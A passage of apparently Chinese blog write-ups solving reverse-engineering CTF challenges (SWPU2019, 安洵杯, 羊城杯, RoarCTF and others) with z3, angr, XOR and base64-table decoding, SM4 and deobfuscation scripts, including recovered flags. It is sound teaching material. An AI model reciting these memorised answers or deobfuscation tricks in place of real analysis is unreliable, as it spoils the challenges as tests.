s.add(l[22]+l[4]-l[9]+l[34]+l[35]+l[17]+l[3]-l[24]+l[38]-l[5]-l[41]-l[31]-l[0]-l[25]+l[33]+l[15]-l[1]-l[10]+l[16]-l[29]-l[12]+l[26]-l[39]-l[21]-l[18]-l[6]-l[40]-l[13]+l[8]+l[37]+l[19]+l[14]+l[32]+l[28]-l[11]+l[23]+l[36]+l[7]==117)
s.add(l[32]+l[16]+l[3]+l[11]+l[34]-l[31]+l[14]+l[25]+l[1]-l[30]-l[33]-l[40]-l[4]-l[29]+l[18]-l[27]+l[13]-l[19]-l[12]+l[23]-l[39]-l[41]-l[8]+l[22]-l[5]-l[38]-l[9]-l[37]+l[17]-l[36]+l[24]-l[21]+l[2]-l[26]+l[20]-l[7]+l[35]-l[0]==-313)
s.add(l[40]-l[1]+l[5]+l[7]+l[33]+l[29]+l[12]+l[38]-l[31]+l[2]+l[14]-l[35]-l[8]-l[24]-l[39]-l[9]-l[28]+l[23]-l[17]-l[22]-l[26]+l[32]-l[11]+l[4]-l[36]+l[10]+l[20]-l[18]-l[16]+l[6]-l[0]+l[3]-l[30]+l[37]-l[19]+l[21]+l[25]-l[15]==-42)
s.add(l[21]+l[26]-l[17]-l[25]+l[27]-l[22]-l[39]-l[23]-l[15]-l[20]-l[32]+l[12]+l[3]-l[6]+l[28]+l[31]+l[13]-l[16]-l[37]-l[30]-l[5]+l[41]+l[29]+l[36]+l[1]+l[11]+l[24]+l[18]-l[40]+l[19]-l[35]+l[2]-l[38]+l[14]-l[9]+l[4]+l[0]-l[33]==289)
s.add(l[29]+l[31]+l[32]-l[17]-l[7]+l[34]+l[2]+l[14]+l[23]-l[4]+l[3]+l[35]-l[33]-l[9]-l[20]-l[37]+l[24]-l[27]+l[36]+l[15]-l[18]-l[0]+l[12]+l[11]-l[38]+l[6]+l[22]+l[39]-l[25]-l[10]-l[19]-l[1]+l[13]-l[41]+l[30]-l[16]+l[28]-l[26]==-117)
s.add(l[5]+l[37]-l[39]+l[0]-l[27]+l[12]+l[41]-l[22]+l[8]-l[16]-l[38]+l[9]+l[15]-l[35]-l[29]+l[18]+l[6]-l[25]-l[28]+l[36]+l[34]+l[32]-l[14]-l[1]+l[20]+l[40]-l[19]-l[4]-l[7]+l[26]+l[30]-l[10]+l[13]-l[21]+l[2]-l[23]-l[3]-l[33]==-252)
s.add(l[29]+l[10]-l[41]-l[9]+l[12]-l[28]+l[11]+l[40]-l[27]-l[8]+l[32]-l[25]-l[23]+l[39]-l[1]-l[36]-l[15]+l[33]-l[20]+l[18]+l[22]-l[3]+l[6]-l[34]-l[21]+l[19]+l[26]+l[13]-l[4]+l[7]-l[37]+l[38]-l[2]-l[30]-l[0]-l[35]+l[5]+l[17]==-183)
s.add(l[6]-l[8]-l[20]+l[34]-l[33]-l[25]-l[4]+l[3]+l[17]-l[13]-l[15]-l[40]+l[1]-l[30]-l[14]-l[28]-l[35]+l[38]-l[22]+l[2]+l[24]-l[29]+l[5]+l[9]+l[37]+l[23]-l[18]+l[19]-l[21]+l[11]+l[36]+l[41]-l[7]-l[32]+l[10]+l[26]-l[0]+l[31]==188)
s.add(l[3]+l[6]-l[41]+l[10]+l[39]+l[37]+l[1]+l[8]+l[21]+l[24]+l[29]+l[12]+l[27]-l[38]+l[11]+l[23]+l[28]+l[33]-l[31]+l[14]-l[5]+l[32]-l[17]+l[40]-l[34]+l[20]-l[22]-l[16]+l[19]+l[2]-l[36]-l[7]+l[18]+l[15]+l[26]-l[0]-l[4]+l[35]==1036)
s.add(l[28]-l[33]+l[2]+l[37]-l[12]-l[9]-l[39]+l[16]-l[32]+l[8]-l[36]+l[31]+l[10]-l[4]+l[21]-l[25]+l[18]+l[24]-l[0]+l[29]-l[26]+l[35]-l[22]-l[41]-l[6]+l[15]+l[19]+l[40]+l[7]+l[34]+l[17]-l[3]-l[13]+l[5]+l[23]+l[11]-l[27]+l[1]==328)
s.add(l[22]-l[32]+l[17]-l[9]+l[20]-l[18]-l[34]+l[23]+l[36]-l[35]-l[38]+l[27]+l[4]-l[5]-l[41]+l[29]+l[33]+l[0]-l[37]+l[28]-l[40]-l[11]-l[12]+l[7]+l[1]+l[2]-l[26]-l[16]-l[8]+l[24]-l[25]+l[3]-l[6]-l[19]-l[39]-l[14]-l[31]+l[10]==-196)
s.add(l[11]+l[13]+l[14]-l[15]-l[29]-l[2]+l[7]+l[20]+l[30]-l[36]-l[33]-l[19]+l[31]+l[0]-l[39]-l[4]-l[6]+l[38]+l[35]-l[28]+l[34]-l[9]-l[23]-l[26]+l[37]-l[8]-l[27]+l[5]-l[41]+l[3]+l[17]+l[40]-l[10]+l[25]+l[12]-l[24]+l[18]+l[32]==7)
s.add(l[34]-l[37]-l[40]+l[4]-l[22]-l[31]-l[6]+l[38]+l[13]-l[28]+l[8]+l[30]-l[20]-l[7]-l[32]+l[26]+l[1]-l[18]+l[5]+l[35]-l[24]-l[41]+l[9]-l[0]-l[2]-l[15]-l[10]+l[12]-l[36]+l[33]-l[16]-l[14]-l[25]-l[29]-l[21]+l[27]+l[3]-l[17]==-945)
s.add(l[12]-l[30]-l[8]+l[20]-l[2]-l[36]-l[25]-l[0]-l[19]-l[28]-l[7]-l[11]-l[33]+l[4]-l[23]+l[10]-l[41]+l[39]-l[32]+l[27]+l[18]+l[15]+l[34]+l[13]-l[40]+l[29]-l[6]+l[37]-l[14]-l[16]+l[38]-l[26]+l[17]+l[31]-l[22]-l[35]+l[5]-l[1]==-480)
s.add(l[36]-l[11]-l[34]+l[8]+l[0]+l[15]+l[28]-l[39]-l[32]-l[2]-l[27]+l[22]+l[16]-l[30]-l[3]+l[31]-l[26]+l[20]+l[17]-l[29]-l[18]+l[19]-l[10]+l[6]-l[5]-l[38]-l[25]-l[24]+l[4]+l[23]+l[9]+l[14]+l[21]-l[37]+l[13]-l[41]-l[12]+l[35]==-213)
s.add(l[19]-l[36]-l[12]+l[33]-l[27]-l[37]-l[25]+l[38]+l[16]-l[18]+l[22]-l[39]+l[13]-l[7]-l[31]-l[26]+l[15]-l[10]-l[9]-l[2]-l[30]-l[11]+l[41]-l[4]+l[24]+l[34]+l[5]+l[17]+l[14]+l[6]+l[8]-l[21]-l[23]+l[32]-l[1]-l[29]-l[0]+l[3]==-386)
s.add(l[0]+l[7]-l[28]-l[38]+l[19]+l[31]-l[5]+l[24]-l[3]+l[33]-l[12]-l[29]+l[32]+l[1]-l[34]-l[9]-l[25]+l[26]-l[8]+l[4]-l[10]+l[40]-l[15]-l[11]-l[27]+l[36]+l[14]+l[41]-l[35]-l[13]-l[17]-l[21]-l[18]+l[39]-l[2]+l[20]-l[23]-l[22]==-349)
s.add(l[10]+l[22]+l[21]-l[0]+l[15]-l[6]+l[20]-l[29]-l[30]-l[33]+l[19]+l[23]-l[28]+l[41]-l[27]-l[12]-l[37]-l[32]+l[34]-l[36]+l[3]+l[1]-l[13]+l[18]+l[14]+l[9]+l[7]-l[39]+l[8]+l[2]-l[31]-l[5]-l[40]+l[38]-l[26]-l[4]+l[16]-l[25]==98)
s.add(l[28]+l[38]+l[20]+l[0]-l[5]-l[34]-l[41]+l[22]-l[26]+l[11]+l[29]+l[31]-l[3]-l[16]+l[23]+l[17]-l[18]+l[9]-l[4]-l[12]-l[19]-l[40]-l[27]+l[33]+l[8]-l[37]+l[2]+l[15]-l[24]-l[39]+l[10]+l[35]-l[1]+l[30]-l[36]-l[25]-l[14]-l[32]==-412)
s.add(l[1]-l[24]-l[29]+l[39]+l[41]+l[0]+l[9]-l[19]+l[6]-l[37]-l[22]+l[32]+l[21]+l[28]+l[36]+l[4]-l[17]+l[20]-l[13]-l[35]-l[5]+l[33]-l[27]-l[30]+l[40]+l[25]-l[18]+l[34]-l[3]-l[10]-l[16]-l[23]-l[38]+l[8]-l[14]-l[11]-l[7]+l[12]==-95)
s.add(l[2]-l[24]+l[31]+l[0]+l[9]-l[6]+l[7]-l[1]-l[22]+l[8]-l[23]+l[40]+l[20]-l[38]-l[11]-l[14]+l[18]-l[36]+l[15]-l[4]-l[41]-l[12]-l[34]+l[32]-l[35]+l[17]-l[21]-l[10]-l[29]+l[39]-l[16]+l[27]+l[26]-l[3]-l[5]+l[13]+l[25]-l[28]==-379)
s.add(l[19]-l[17]+l[31]+l[14]+l[6]-l[12]+l[16]-l[8]+l[27]-l[13]+l[41]+l[2]-l[7]+l[32]+l[1]+l[25]-l[9]+l[37]+l[34]-l[18]-l[40]-l[11]-l[10]+l[38]+l[21]+l[3]-l[0]+l[24]+l[15]+l[23]-l[20]+l[26]+l[22]-l[4]-l[28]-l[5]+l[39]+l[35]==861)
s.add(l[35]+l[36]-l[16]-l[26]-l[31]+l[0]+l[21]-l[13]+l[14]+l[39]+l[7]+l[4]+l[34]+l[38]+l[17]+l[22]+l[32]+l[5]+l[15]+l[8]-l[29]+l[40]+l[24]+l[6]+l[30]-l[2]+l[25]+l[23]+l[1]+l[12]+l[9]-l[10]-l[3]-l[19]+l[20]-l[37]-l[33]-l[18]==1169)
s.add(l[13]+l[0]-l[25]-l[32]-l[21]-l[34]-l[14]-l[9]-l[8]-l[15]-l[16]+l[38]-l[35]-l[30]-l[40]-l[12]+l[3]-l[19]+l[4]-l[41]+l[2]-l[36]+l[37]+l[17]-l[1]+l[26]-l[39]-l[10]-l[33]+l[5]-l[27]-l[23]-l[24]-l[7]+l[31]-l[28]-l[18]+l[6]==-1236)
s.add(l[20]+l[27]-l[29]-l[25]-l[3]+l[28]-l[32]-l[11]+l[10]+l[31]+l[16]+l[21]-l[7]+l[4]-l[24]-l[35]+l[26]+l[12]-l[37]+l[6]+l[23]+l[41]-l[39]-l[38]+l[40]-l[36]+l[8]-l[9]-l[5]-l[1]-l[13]-l[14]+l[19]+l[0]-l[34]-l[15]+l[17]+l[22]==-114)
s.add(l[12]-l[28]-l[13]-l[23]-l[33]+l[18]+l[10]+l[11]+l[2]-l[36]+l[41]-l[16]+l[39]+l[34]+l[32]+l[37]-l[38]+l[20]+l[6]+l[7]+l[31]+l[5]+l[22]-l[4]-l[15]-l[24]+l[17]-l[3]+l[1]-l[35]-l[9]+l[30]+l[25]-l[0]-l[8]-l[14]+l[26]+l[21]==659)
s.add(l[21]-l[3]+l[7]-l[27]+l[0]-l[32]-l[24]-l[37]+l[4]-l[22]+l[20]-l[5]-l[30]-l[31]-l[1]+l[15]+l[41]+l[12]+l[40]+l[38]-l[17]-l[39]+l[19]-l[13]+l[23]+l[18]-l[2]+l[6]-l[33]-l[9]+l[28]+l[8]-l[16]-l[10]-l[14]+l[34]+l[35]-l[11]==-430)
s.add(l[11]-l[23]-l[9]-l[19]+l[17]+l[38]-l[36]-l[22]-l[10]+l[27]-l[14]-l[4]+l[5]+l[31]+l[2]+l[0]-l[16]-l[8]-l[28]+l[3]+l[40]+l[25]-l[33]+l[13]-l[32]-l[35]+l[26]-l[20]-l[41]-l[30]-l[12]-l[7]+l[37]-l[39]+l[15]+l[18]-l[29]-l[21]==-513)
s.add(l[32]+l[19]+l[4]-l[13]-l[17]-l[30]+l[5]-l[33]-l[37]-l[15]-l[18]+l[7]+l[25]-l[14]+l[35]+l[40]+l[16]+l[1]+l[2]+l[26]-l[3]-l[39]-l[22]+l[23]-l[36]-l[27]-l[9]+l[6]-l[41]-l[0]-l[31]-l[20]+l[12]-l[8]+l[29]-l[11]-l[34]+l[21]==-502)
s.add(l[30]-l[31]-l[36]+l[3]+l[9]-l[40]-l[33]+l[25]+l[39]-l[26]+l[23]-l[0]-l[29]-l[32]-l[4]+l[37]+l[28]+l[21]+l[17]+l[2]+l[24]+l[6]+l[5]+l[8]+l[16]+l[27]+l[19]+l[12]+l[20]+l[41]-l[22]+l[15]-l[11]+l[34]-l[18]-l[38]+l[1]-l[14]==853)
s.add(l[38]-l[10]+l[16]+l[8]+l[21]-l[25]+l[36]-l[30]+l[31]-l[3]+l[5]-l[15]+l[23]-l[28]+l[7]+l[12]-l[29]+l[22]-l[0]-l[37]-l[14]-l[11]+l[32]+l[33]-l[9]+l[39]+l[41]-l[19]-l[1]+l[18]-l[4]-l[6]+l[13]+l[20]-l[2]-l[35]-l[26]+l[27]==-28)
s.add(l[11]+l[18]-l[26]+l[15]-l[14]-l[33]+l[7]-l[23]-l[25]+l[0]-l[6]-l[21]-l[16]+l[17]-l[19]-l[28]-l[38]-l[37]+l[9]+l[20]-l[8]-l[3]+l[22]-l[35]-l[10]-l[31]-l[2]+l[41]-l[1]-l[4]+l[24]-l[34]+l[39]+l[40]+l[32]-l[5]+l[36]-l[27]==-529)
s.add(l[38]+l[8]+l[36]+l[35]-l[23]-l[34]+l[13]-l[4]-l[27]-l[24]+l[26]+l[31]-l[30]-l[5]-l[40]+l[28]-l[11]-l[2]-l[39]+l[15]+l[10]-l[17]+l[3]+l[19]+l[22]+l[33]+l[0]+l[37]+l[16]-l[9]-l[32]+l[25]-l[21]-l[12]+l[6]-l[41]+l[20]-l[18]==-12)
s.add(l[6]-l[30]-l[20]-l[27]-l[14]-l[39]+l[41]-l[33]-l[0]+l[25]-l[32]-l[3]+l[26]-l[12]+l[8]-l[35]-l[24]+l[15]+l[9]-l[4]+l[13]+l[36]+l[34]+l[1]-l[28]-l[21]+l[18]+l[23]+l[29]-l[10]-l[38]+l[22]+l[37]+l[5]+l[19]+l[7]+l[16]-l[31] == 81)

if s.check() == sat:
m = s.model()
flag = b""
for i in range(0x2a):
flag += bytes([m[l[i]].as_long()])
print(flag)

[2019红帽杯]childRE

2019 红帽杯 | Lantern’s 小站

[SWPU2019]ReverseMe

先与SWPU_2019_CTF异或

后进入encode函数,相当复杂,但实际跟进去也是个异或,动调提取xor数据以及最终对比数据

xor_data1 = b"SWPU_2019_CTF"
xor_data2 = [0x86, 0x0C, 0x3E, 0xCA, 0x98, 0xD7, 0xAE, 0x19, 0xE2, 0x77, 0x6B, 0xA6, 0x6A, 0xA1, 0x77, 0xB0, 0x69, 0x91, 0x37, 0x05, 0x7A, 0xF9, 0x7B, 0x30, 0x43, 0x5A, 0x4B, 0x10, 0x86, 0x7D, 0xD4, 0x28]

data = [0xB3, 0x37, 0x0F, 0xF8, 0xBC, 0xBC, 0xAE, 0x5D, 0xBA, 0x5A, 0x4D, 0x86, 0x44, 0x97, 0x62, 0xD3, 0x4F, 0xBA, 0x24, 0x16, 0x0B, 0x9F, 0x72, 0x1A, 0x65, 0x68, 0x6D, 0x26, 0xBA, 0x6B, 0xC8, 0x67]

for i in range(len(data)):
data[i] ^= xor_data2[i]

flag = b""

for i in range(len(data)):
flag += bytes([data[i] ^ xor_data1[i % len(xor_data1)]])
print(flag)

[安洵杯_2019]crackMe

通过SEH, VEH异常处理进行加密、编码

通过查看交叉引用可知整个流程为

输入flag后,进行base64table变换

int __stdcall sub_D02AB0(int a1, int a2, int a3, int a4)
{
size_t i; // [esp+D8h] [ebp-8h]

for ( i = 0; i < j_strlen(Str); ++i )
{
if ( Str[i] <= 'z' && Str[i] >= 'a' )
{
Str[i] -= 32;
}
else if ( Str[i] <= 'Z' && Str[i] >= 'A' )
{
Str[i] += 32;
}
}
MessageBoxA(0, "hooked", "successed", 0);
AddVectoredExceptionHandler(0, Handler);
return 0;
}

然后进行Handler中的SM4解密

int __stdcall Handler_0(_DWORD **a1)
{
char v2[20]; // [esp+D0h] [ebp-18h] BYREF

if ( **a1 == 0xC0000005 )
{
qmemcpy(v2, "where_are_u_now?", 16);
sub_D01172((int)&unk_D0A218, (int)v2);
SetUnhandledExceptionFilter(TopLevelExceptionFilter);
}
return 0;
}

后将最终对比的数据进行处理, 然后变种base64处理

int __cdecl sub_D02C30(_DWORD *a1)
{
int result; // eax
char v2; // [esp+D3h] [ebp-11h]
size_t i; // [esp+DCh] [ebp-8h]

result = (int)a1;
if ( *(_DWORD *)*a1 == 0xC0000005 )
{
for ( i = 0; i < j_strlen(Str2); i += 2 )
{
v2 = Str2[i];
Str2[i] = Str2[i + 1];
Str2[i + 1] = v2;
}
Str1 = variantbase64encode(byte_D0A180);
*(_DWORD *)(a1[1] + 176) = *(_DWORD *)(*a1 + 20);
*(_DWORD *)(a1[1] + 164) = *(_DWORD *)(*a1 + 24);
*(_DWORD *)(a1[1] + 172) = *(_DWORD *)(*a1 + 28);
*(_DWORD *)(a1[1] + 168) = *(_DWORD *)(*a1 + 32);
*(_DWORD *)(a1[1] + 156) = *(_DWORD *)(*a1 + 36);
*(_DWORD *)(a1[1] + 160) = *(_DWORD *)(*a1 + 40);
*(_DWORD *)(a1[1] + 184) = sub_D01136;
result = -1;
}
return result;
}

变种位置在=变!, 以及整个表的右移24

image-20211003151707570

int __cdecl sub_D02760(int a1)
{
return (a1 + 0x18) % 64;
}

则解密如下

table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
new_table = b""

for i in table:
if 97 <= i <= 122:
new_table += bytes([i - 32])
elif 65 <= i <= 90:
new_table += bytes([i + 32])
else:
new_table += bytes([i])

new_table = list(new_table)

for i in range(0x18):
new_table.insert(len(new_table), new_table[0])
new_table.remove(new_table[0])

new_table = bytes(new_table)

s = list("1UTAOIkpyOSWGv/mOYFY4R!!".replace("!", "="))

for i in range(0, len(s), 2):
s[i], s[i+1] = s[i+1], s[i]

s = ''.join(s).encode('utf-8')
s = s.translate(bytes.maketrans(new_table, table))

import base64
cipher = base64.b64decode(s)

from Crypto.Util.number import bytes_to_long, long_to_bytes
key = b"where_are_u_now?"
key = bytes_to_long(key)
cipher = bytes_to_long(cipher)

from pysm4 import decrypt
print(long_to_bytes(decrypt(cipher, key)))

[CFI-CTF 2018]IntroToPE

.Net 用 dnspy , base64直接解‘

image-20211003154437068

➜  tmp bpython3
bpython version 0.20 on top of Python 3.6.9 /usr/local/bin/python3
>>> import base64
>>> base64.b64decode(b"Q0ZJey5OZXRDI18xc19AdzNzMG0zfQ==")
b'CFI{.NetC#_1s_@w3s0m3}'

[羊城杯 2020]easyre

三部分, encode_one为base64, encode_tow换个位置,encode_three凯撒密码

def decode_one(s):
import base64
return base64.b64decode(s)
def decode_tow(s):
_s = [0] * len(s)
_s[26:39] = s[:13]
_s[:13] = s[13:26]
_s[39:39+13] = s[26:26+13]
_s[13:13+13] = s[39:]
return bytes(_s)
def decode_tree(s):
_s = b""
for i in s:
if 0x30 <= i <= 0x39:
_s += bytes([(i - 0x30 - 3) % 10 + 0x30])
elif 0x61 <= i <= 0x7A:
_s += bytes([(i - 0x61 - 3) % 26 + 0x61])
elif 0x41 <= i <= 0x41 + 25:
_s += bytes([(i - 0x41 - 3) % 26 + 0x41])
else:
_s += bytes([i])
return _s

s = b"EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG"
s = decode_tree(s)
s = decode_tow(s)
s = decode_one(s)

print(s)

[WUSTCTF2020]funnyre

花指令直接拿脚本去掉

bg = 0x00000000004005B0
end = 0x0000000000402584
addr = bg

def patch_nop(begin, end):
while(end>begin):
patch_byte(begin, 0x90)
begin=begin+1

def next_instr(addr):
return addr+get_item_size(addr)

while(addr<end):
next =next_instr(addr)
create_insn(next)
if 'j' in print_insn_mnem(addr) and 'j' in print_insn_mnem(next) :
if get_operand_value(addr, 0) == get_operand_value(next, 0):
print('jmp %08x'%addr)
dest_addr = get_operand_value(addr, 0)
patch_nop(addr, dest_addr)
addr=dest_addr
create_insn(addr)
addr = next_instr(addr)
create_insn(addr)

apply patch后打开发现是简单运算后对比, 直接angr暴力解

import angr
import claripy

p = angr.Project("./funnyre", load_options={"auto_load_libs": False})
f = p.factory
state = f.entry_state(addr=0x400605)
flag = claripy.BVS("flag", 8*32)
state.memory.store(0x603055+0x300+5, flag)
state.regs.rdx = 0x603055+0x300
state.regs.rdi = 0x603055+0x300+5

sm = p.factory.simulation_manager(state)

sm.explore(find=0x401DAE)
if sm.found:
print("[+] found!")
x = sm.found[0].solver.eval(flag, cast_to=bytes)
print(x)

[RoarCTF2019]polyre

Ollvm + 不透明谓词 + 整数溢出

先去平坦化 https://github.com/cq674350529/deflat后去不透明谓词

流程如下

v10 = 0;
memset(s, 0, 0x30uLL);
memset(s1, 0, sizeof(s1));
printf("Input:");
v11 = s;
__isoc99_scanf("%s", s);
for ( i = 0; ; ++i )
{
v12 = i;
v13 = i < 64;
if ( i >= 64 )
break;
v14 = s[i];
v15 = v14;
if ( v14 == '\n' )
{
v16 = &s[i];
*v16 = 0;
break;
}
v17 = i + 1;
}
for ( j = 0; ; ++j )
{
v18 = j;
v19 = j < 6;
if ( j >= 6 )
break;
v20 = s;
v4 = *(_QWORD *)&s[8 * j];
for ( k = 0; ; ++k )
{
v21 = k;
v22 = k < 64;
if ( k >= 64 )
break;
v23 = v4;
v24 = v4 < 0;
if ( v4 >= 0 )
{
v27 = v4;
v28 = 2 * v4;
v4 *= 2LL;
}
else
{
v25 = 2 * v4;
v26 = 2 * v4;
v4 = (2 * v4) ^ 0xB0004B7679FA26B3LL;
}
v29 = k;
}
v30 = 8 * j;
v31 = &s1[8 * j];
*(_QWORD *)v31 = v4;
v32 = j + 1;
}
v33 = memcmp(s1, qword_402170, 0x30uLL);
v34 = v33 != 0;
if ( v33 )
puts("Wrong!");
else
puts("Correct!");
return v10;

将我们的输入数据转为有符号int64的v4

执行一个64次的循环, 循环内先判断v4的正负

v4 > 0 则 v4 << 1
v4 < 0 则 (v4 << 1) ^ 0xB0004B7679FA26B3

我们无法判断左移前是正数还是负数,但注意到v4 << 1为偶数, (v4 << 1) ^ 0xB0004B7679FA26B3为奇数,则解密如下

s = [0xBC8FF26D43536296, 0x520100780530EE16, 0x4DC0B5EA935F08EC, 0x342B90AFD853F450, 0x8B250EBCAA2C3681, 0x55759F81A2C68AE4]

key = 0xB0004B7679FA26B3
flag = b""
import struct
for v in s:
for i in range(64):
p = v & 1
if p == 1:
v = (v ^ key) >> 1
v = v | 0x8000000000000000 # 变成负数
else:
v = v >> 1
# print(hex(v))
flag += struct.pack("<Q", v)
print(flag)

[羊城杯 2020]login

py打包的exe,extremecoders-re/pyinstxtractor: PyInstaller Extractor (github.com)解包

uncomplye6 反编译, z3求解

from z3 import *
import hashlib
code = [BitVec('x%d' % i, 8) for i in range(14)]
s = Solver()
a1 = code[2]
a2 = code[1]
a3 = code[0]
a4 = code[3]
a5 = code[4]
a6 = code[5]
a7 = code[6]
a8 = code[7]
a9 = code[9]
a10 = code[8]
a11 = code[10]
a12 = code[11]
a13 = code[12]
a14 = code[13]
s.add(a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5 + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36 + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60 + a14 * 29 == 22748)
s.add(a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25 + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66 + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39 + a14 * 17 == 7258)
s.add(a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65 + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15 - a9 * 33 + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34 + a14 * 23 == 26190)
s.add(a1 * 23 + a2 * 34 + a3 * 35 - a4 * 59 + a5 * 49 + a6 * 81 + a7 * 25 + (a8 << 7) - a9 * 32 + a10 * 75 + a11 * 81 + a12 * 47 - a13 * 60 + a14 * 29 == 37136)
s.add(a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52 + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23 - a9 * 36 + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915)
s.add(a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45 + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18 - a9 * 26 + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61 + a14 * 28 == 17298)
s.add(a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42 + a6 * 86 + a7 * 23 + a8 * 85 - a9 * 47 + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44 + a14 * 65 == 19875)
s.add(a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85 + a5 * 33 + a6 * 79 + a7 * 86 + a8 * 14 - a9 * 30 + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784)
s.add(a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85 + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23 - a9 * 36 + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64 + a14 * 27 == 9710)
s.add(a1 * 67 - a2 * 68 + a3 * 68 - a4 * 51 - a5 * 43 + a6 * 81 + a7 * 22 - a8 * 12 - a9 * 38 + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52 + a14 * 31 == 13376)
s.add(a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51 + a5 * 44 + a6 * 36 + a7 * 28 + a8 * 15 - a9 * 6 + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67 + a14 * 78 == 24065)
s.add(a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5 + a5 * 43 + a6 * 112 + a7 * 25 + a8 * 13 - a9 * 35 + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61 + a14 * 20 == 27687)
s.add(a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25 + a5 * 49 + a6 * 89 + a7 * 23 + a8 * 56 - a9 * 92 + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250)
s.add(a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43 + a6 * 83 + a7 * 25 + a8 * 12 - a9 * 36 + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317)

while s.check() == sat:
m = s.model()
data = []
conditions = []
for i in range(len(code)):
data.append(m[code[i]].as_long())
conditions.append(code[i] != m[code[i]].as_long())
s.add(Or(conditions))

for i in range(13, 0, -1):
data[i-1] ^= data[i]
print(bytes(data))
print(hashlib.md5(bytes(data)).hexdigest())

[NPUCTF2020]你好sao啊

base64换表解密, 则我们先加密后替换即可

import struct
import base64
data = [0xFD370FEB59C9B9E, 0xDEAB7F029C4FD1B2, 0xFACD9D40E7636559]

data = struct.pack("<3Q", data[0], data[1], data[2])
flag = base64.b64encode(data)

new_table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234{}789+/"
old_table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(flag.translate(bytes.maketrans(old_table,new_table)))

[UTCTF2020]babymips

IDA32打开,异或加密

data = [0x62, 0x6C, 0x7F, 0x76, 0x7A, 0x7B, 0x66, 0x73, 0x76, 0x50, 0x52, 0x7D, 0x40, 0x54, 0x55, 0x79, 0x40, 0x49, 0x47, 0x4D, 0x74, 0x19, 0x7B, 0x6A, 0x42, 0x0A, 0x4F, 0x52, 0x7D, 0x69, 0x4F, 0x53, 0x0C, 0x64, 0x10, 0x0F, 0x1E, 0x4A, 0x67, 0x03, 0x7C, 0x67, 0x02, 0x6A, 0x31, 0x67, 0x61, 0x37, 0x7A, 0x62, 0x2C, 0x2C, 0x0F, 0x6E, 0x17, 0x00, 0x16, 0x0F, 0x16, 0x0A, 0x6D, 0x62, 0x73, 0x25, 0x39, 0x76, 0x2E, 0x1C, 0x63, 0x78, 0x2B, 0x74, 0x32, 0x16, 0x20, 0x22, 0x44, 0x19]

for i in range(0x4e):
data[i] ^= (i + 23)
data[i] &= 0xff
print(''.join(list(map(chr,data))))

[安洵杯 2019]game

ollvm + 数独, 先用deflat.py 去混淆

主函数中,对输入进行操作的如下图所示

image-20211010165357023

其他的可以动调得

check1主要加密逻辑分三步,第一步时把输入的前半与后半进行交换,第二步是两位两位交换,第三步是一个比较复杂的异或操作,直接z3即可。

image-20211010171608799

check3中主要校验为check2

image-20211010171747300

则动调得到最终的sudoku, 通过对比得到v9再还原回去即可

sudoku = [0x00000001, 0x00000004, 0x00000005, 0x00000003, 0x00000002, 0x00000007, 0x00000006, 0x00000009, 0x00000008, 0x00000008, 0x00000003, 0x00000009, 0x00000006, 0x00000005, 0x00000004, 0x00000001, 0x00000002, 0x00000007, 0x00000006, 0x00000007, 0x00000002, 0x00000008, 0x00000001, 0x00000009, 0x00000005, 0x00000004, 0x00000003, 0x00000004, 0x00000009, 0x00000006, 0x00000001, 0x00000008, 0x00000005, 0x00000003, 0x00000007, 0x00000002, 0x00000002, 0x00000001, 0x00000008, 0x00000004, 0x00000007, 0x00000003, 0x00000009, 0x00000005, 0x00000006, 0x00000007, 0x00000005, 0x00000003, 0x00000002, 0x00000009, 0x00000006, 0x00000004, 0x00000008, 0x00000001, 0x00000003, 0x00000006, 0x00000007, 0x00000005, 0x00000004, 0x00000002, 0x00000008, 0x00000001, 0x00000009, 0x00000009, 0x00000008, 0x00000004, 0x00000007, 0x00000006, 0x00000001, 0x00000002, 0x00000003, 0x00000005, 0x00000005, 0x00000002, 0x00000001, 0x00000009, 0x00000003, 0x00000008, 0x00000007, 0x00000006, 0x00000004]

